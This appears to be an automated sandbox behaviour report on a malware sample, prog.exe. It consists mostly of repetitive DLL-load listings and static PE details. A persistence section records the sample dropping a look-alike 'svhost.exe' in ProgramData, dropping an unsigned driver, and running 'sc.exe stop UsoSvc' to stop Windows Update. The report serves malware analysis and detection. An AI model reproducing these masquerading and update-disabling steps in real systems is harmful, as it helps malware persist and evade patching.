Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: prog.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: prog.exe

Static file information: File size 2663424 > 1048576

Source: prog.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x27d200

Source: prog.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Source: prog.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: prog.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: prog.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: prog.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: prog.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: prog.exe	Static PE information: section name: .00cfg
Source: svhost.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\prog.exe	Code function: 0_2_00007FF6F1FB1394 push qword ptr [00007FF6F1FBE004h]; ret	0_2_00007FF6F1FB1403
Source: C:\ProgramData\win32\svhost.exe	Code function: 35_2_00007FF7E32F1394 push qword ptr [00007FF7E32FE004h]; ret	35_2_00007FF7E32F1403
Source: C:\Windows\System32\conhost.exe	Code function: 58_2_0000000140001394 push qword ptr [0000000140008004h]; ret	58_2_0000000140001403

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\win32\svhost.exe

File created: C:\Windows\TEMP\pnhtlztmuvjx.sys

Jump to behavior

Source: C:\Users\user\Desktop\prog.exe	File created: C:\ProgramData\win32\svhost.exe			Jump to dropped file
Source: C:\ProgramData\win32\svhost.exe	File created: C:\Windows\Temp\pnhtlztmuvjx.sys			Jump to dropped file

Source: C:\Users\user\Desktop\prog.exe

File created: C:\ProgramData\win32\svhost.exe

Jump to dropped file

Source: C:\ProgramData\win32\svhost.exe

File created: C:\Windows\Temp\pnhtlztmuvjx.sys

Jump to dropped file

Source: C:\Users\user\Desktop\prog.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
